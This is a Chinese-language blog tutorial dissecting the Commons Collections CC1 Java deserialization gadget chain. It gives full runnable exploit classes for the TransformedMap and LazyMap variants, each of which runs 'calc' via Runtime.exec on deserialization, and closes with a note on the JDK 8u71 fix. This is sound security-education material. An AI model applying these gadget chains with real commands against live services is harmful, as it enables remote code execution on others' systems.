java反序列化之CC1

SoloWalker Lv3

Java反序列化之CC1

TransformMap版CC1攻击链分析

首先明确反序列化的思路:

在入口类,我们需要一个readObject方法,在结尾需要一个能够命令执行的方法,中间我们通过链子引导。所以我们一般从尾部出发找入口。

尾部的 exec 方法

先查看一下Transformer这个接口,有一个transform方法。我们看一下这个接口有哪些实现类。最终我们在InvokerTransformer这个类里面发现它的transform方法存在反射调用任意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

我们可以利用这个类实现弹计算器。

InvokerTransformer这个类中有一个构造器:

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

利用这个构造器实现:

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class InvokerTransformerTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

初步寻找链子

由于transform方法可以实现任意类调用,我们就来找找哪些其他的类调用了transform方法。

我们可以发现在TransformedMap类中存在checkSetValue()方法调用了transform方法:

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

接下来看看valueTransformer是个什么东西。

这是TransformedMap的一个属性,在其构造器中赋值:

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

而这个构造方法是受保护的,在外部无法调用,所以我们还需要找找谁调用了这个构造器。而在这个类的一个静态方法decorate()中就创建了一个这样的对象。

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

我们以这个类为入口来写一个 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class DecorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
Map transformedmap = TransformedMap.decorate(map, null, exec);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedmap,runtime);
}
}

这里从入口到结尾来理清思路:

  1. TransformedMap类的静态方法decorate会 new 一个 TransformedMap 对象出来(因为这个类的构造器是受保护属性的,在外部无法直接访问)
  2. TransformedMap 类有一个成员方法checkSetValue,这个方法会调用属性valueTransformertransform方法,如果我们的valueTransformer属性是一个InvokerTransformer对象,我们就能触发这个对象的transform方法实现反射调用任意类。
  3. 要想实现任意类调用,我们需要创建一个InvokerTransformer对象,让这个对象的iMethodNameiParamTypesiArgs属性分别是execString.class"calc"
  4. 最终我们要调用checkSetValue方法来隐式调用transform方法,这个方法是受保护的,我们利用反射来调用它,参数则是checkSetValue方法所在的类TransformedMap的对象和这个方法本身需要的参数Object value,结合return valueTransformer.transform(value);我们就能更容易理解。上面的exec是一个InvokerTransformer对象,也是valueTransformer属性的值,所以就会调用InvokerTransformertransform方法。

完整链子

目前的链子位于checkSetValue,而decorate的链子已经无法更进一步,所以回到checkSetValue找链子。

查找用法后找到了parent.checkSetValue调用了checkSetValue,这是TransformedMap的父类AbstractInputCheckedMapDecorator的一个内部类MapEntry的一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

这里parentAbstractInputCheckedMapDecorator对象,这是一个抽象类,这个类的checkSetValue也是一个抽象方法,想要调用抽象类的抽象方法就必须由实现它的子类调用。而TransformedMap就是这个抽象类的子类,在这里让parentTransformedMap对象就能实现调用。

这样我们就需要调用MapEntrysetValue,然后传入Runtime对象就能触发链子。

往前找什么地方调用了setValue或者一个重写readObject时调用了setValue方法的入口类。

能找到sun.reflect.annotation.AnnotationInvocationHandler这个类,这个类重写了readObject方法,内部还调用了setValue方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //setValue触发
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

在 java 中,我们反序列化一个对象,即ois.readObject(这个对象)时,如果这个对象内部有reradObject方法,则会自动调用。

所以AnnotationInvocationHandler类在反序列化时,会遍历memberValues这一个 Map 对象的所有 entry(entry 就是键值对),因为entrySet()这个方法会把 Map 里所有的键值对都以Map.Entry对象的形式取出并放入一个Set中,然后对每一个 entry 调用setValue

但是首先要memberType不为空,这就要memberTypes这个 Map 能通过 key 拿到值。而 memberTypes 来自 annotationType.getMemberTypes() —— 即注解本身定义的成员。

Map<String, Class<?>> memberTypes = annotationType.memberTypes();这里得到的 Map 的内容是:键为注解成员的名称,值为该成员的类型的 Class 对象。

对于 Retention.class

@Retention 注解的定义里只有一个成员 value,类型是 RetentionPolicy。所以返回的 Map 里只有一个键值对:

Key Value
"value" RetentionPolicy.class
1
2
3
4
5
6
7
8
9
10
11
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// 对于 Retention.class,memberTypes 就是 {"value" → RetentionPolicy.class}

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name); // 用 "value" 去查

if (memberType != null) { // 查到了 RetentionPolicy.class,不为 null
// 进入这里,最终触发 setValue
}
}

第二个条件:

1
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

想要进入 if 内的语句,我们需要这两个表达式都是 false,value是从Object value = memberValue.getValue();这里得到的,我们输入的一般都不会是ExceptionProxy,所以是 false。

memberType.isInstance(value)是 false 则说明 value 不是 RetentionPolicy 类型,我们随便设置一个字符串即可。

这样我们就能调用到其中的setValue方法了。

TransformMap版CC1 EXP

理想情况下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class EXP {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value","abc");
Map transformedMap = TransformedMap.decorate(map, null, exec);

Class<?> aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Retention.class, transformedMap);

serialize(o);
unserialize("ser,bin");
}
}

但是这样也有问题。首先,Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参并不是这个对象。

Runtime 不能序列化的处理方法

Runtime不能序列化,但是Class对象可以序列化,我们可以利用反射来实现。

先来一个基本的反射调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class EXP {

public static void main(String[] args) throws Exception{

Class<Runtime> r = Runtime.class;
Method getRuntime = r.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = r.getDeclaredMethod("exec", String.class);
exec.invoke(runtime,"calc");

}
}

再写成InvokerTransformer的调用形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class EXP {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{

Class<Runtime> r = Runtime.class;
/*Class<Runtime> r = Runtime.class;
Method getRuntime = r.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = r.getDeclaredMethod("exec", String.class);
exec.invoke(runtime,"calc"); */

Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(r);

Runtime run = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(getRuntime);

Method exec = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(r);

new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{run,new String[]{"calc"}}).transform(exec);

}
}

这里代码重复度挺高的,可以使用ChainedTransformer这个类来提高代码复用性。

看一下ChainedTransformer的部分源码:

1
2
3
4
5
6
private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

在调用ChainedTransformertransform方法时会遍历传入的transformers,而前一个调用的结果是后一个调用的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class eztest {
public static void main(String[] args) throws Exception{

Transformer[] transformers=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

到这 Runtime 的问题解决了,然后是 setValue 参数不可控的问题。

setValue 参数不可控的解决办法

我们需要找一个类,能够控制 setValue 的参数。

这里找到ConstantTransformer,部分源码:

1
2
3
4
5
6
7
8
9
10
private final Object iConstant;

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

这样就很明显了,如果我们 new 一个ConstantTransformer时传入 Runtime.class,不管transform传入说明传输都会返回 Runtime.class。

最终 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class EXP {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","abc");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aih = c.getDeclaredConstructor(Class.class, Map.class);
aih.setAccessible(true);
Object o = aih.newInstance(Retention.class, transformedMap);

serialize(o);
unserialize("ser.bin");

}
}

先总结一下利用链:

1
2
3
4
5
6
7
8
9
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap

然后从入口类理清思路:

  1. AnnotationInvocationHandler这个类重写了readObject方法,在反序列化的过程中会自动调用。这个类的构造器是包级私有,所有想要实例化这个类就需要使用反射调用,这个构造器的两个参数分别是注解类型的 Class 对象和一个 Map 对象。这个 Map 参数会传递给一个内部属性memberValues,在readObject方法中会遍历这个 Map,然后把这个 Map 的键值对取出来放到Map.Entry中。然后先获取键,如果这个注解类型的内部成员的名称与这个键相同且值不是空就会进入下一步,用Retention.class可以通过两层条件,进入memberValue.setValue调用setValue

  2. 此时我们传一个TransformedMap对象,会对其调用entrySet方法,这个方法是由其父类AbstractInputCheckedMapDecorator定义的,看一下源码:

    1
    2
    3
    4
    5
    6
    7
    public Set entrySet() {
    if (isSetValueChecking()) {
    return new EntrySet(map.entrySet(), this);
    } else {
    return map.entrySet();
    }
    }

    这里会返回一个EntrySet实例,这是AbstractInputCheckedMapDecorator的一个内部类。这个类有一个方法iterator(),在 for-each 中会自动调用,所以会返回一个EntrySetIterator实例,在EntrySetIterator中有一个next()方法,这个方法也是在 for-each 中会自动调用,然后返回一个MapEntry实例,拿到这个实例之后赋值给Map.Entry<String, Object> memberValue,此时调用memberValuesetValue方法就会调用MapEntrysetValue方法,在这个setValue方法里就会调用checkSetValue方法。在上面的过程中,return new EntrySet(map.entrySet(), this)其中的this,也就是一开始的transformedMap,就被传递进去,最终传递到value = parent.checkSetValue(value)这里的parent,从而调用TransformedMap类的checkSetValue方法。

  3. 我们创建一个TransformedMap对象的时候已经传入一个ChainedTransformer对象作为valueTransformer的值,所以会调用valueTransformertransform方法。而ChainedTransformertransform的内部会遍历里面元素并调用相应的transform方法,同时返回的值会作为下一次transform调用的参数。此时我们构造第一个参数是一个ConstantTransformer对象,参数是Runtime.class,这个类的transform方法会直接返回Runtime.class

  4. 然后通过在ChainedTransformer内部的链式调用,成功弹出计算器。

LazyMap 版 CC1 攻击链分析

链尾的 exec

尾部依旧是InvokeTransformer,反射调用任意类。

查找用法后发现在LazyMapget方法中找到了transform方法,且作用域是 public。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

寻找利用链

先找一下factory是什么。

1
protected final Transformer factory;

同时还有decorate方法,会返回一个LazyMap

同时这个类的构造器是protected属性,无法直接获取,所以需要使用decorate方法来获取LazyMap对象。

构造一个初步的 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example.lazyCC1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.util.Map;

public class LazyMapCC1Test {
public static void main(String[] args) {

Runtime runtime = Runtime.getRuntime();

InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashedMap map = new HashedMap();

Map lazyMap = LazyMap.decorate(map, exec);

lazyMap.get(runtime);

}
}

成功弹出计算器。然后去寻找谁调用了LazyMap.get()。然后就找到了AnnotationInvocationHandlerinvoke()方法,其中调用了get()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

这个类也很好,里面有readObject()方法,可以作为入口类。

关键在于触发invoke()

LazyMap 正版EXP

需要触发invoke方法,可以使用动态代理,一个类被动态代理后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。

在上面TransformedMap版 CC1 中我们分析过,在AnnotationInvocationHandler中会调用entrySet()方法,所以如果我们把memberValues的值设置为代理对象,当调用代理对象的方法时就会跳到执行invoke()方法,最终完成链式调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example.lazyCC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapCC1Test {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aih = c.getDeclaredConstructor(Class.class, Map.class);
aih.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aih.newInstance(Retention.class, lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);

InvocationHandler o = (InvocationHandler) aih.newInstance(Retention.class, proxyMap);

serialize(o);
unserialize("ser.bin");
}
}

这里从头到尾分析一下调用链:

  1. 入口类AnnotationInvocationHandler重写了readObject方法,其中会调用memberValues.entrySet(),如果我们把memberValues设置为一个Map类型的代理对象时,调用这个代理对象的entrySet()方法时调用就会被拦截,并转发到我们自己定义的调用处理器的invoke()方法。而我们自定义的调用处理器就是一个AnnotationInvocationHandler对象,所以就会调用它的invoke()方法。
  2. 我们带入我们的exp看一下,首先我们创建一个AnnotationInvocationHandler实例,这个对象内部是有invoke方法的,所以我们可以把它作为我们的调用处理器以便后续调用时会调用该invoke方法。然后我们构造一个Map类型的动态代理(以便能够调用entrySet方法)并传入这个调用处理器。然后我们再构造一个AnnotationInvocationHandler对象(用来反序列化的),把我们的代理传进去,这样在反序列化时就会调用这个代理的entrySet方法,然后转发到调用处理器的invoke方法中。
  3. 调用到代理的invoke方法中就会触发调用处理器AnnotationInvocationHandler对象memberValuesget方法,而此时我们把调用处理器中的memberValues设置为LazyMap对象,就会触发LazyMapget方法。
  4. LazyMapfactory我们已经设置为一个ChainedTransformer实例,就会调用这个ChainedTransformertransform方法,从而实现链式调用,最终弹出计算器。

修复手法

官方的推荐修复是把 jdk 版本提升至 jdk8u71,因为对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。而在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因。

  • 标题: java反序列化之CC1
  • 作者: SoloWalker
  • 创建于 : 2026-05-09 00:00:00
  • 更新于 : 2026-05-24 19:53:05
  • 链接: https://s0lowalker.github.io/2026/05/09/java反序列化之CC1/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论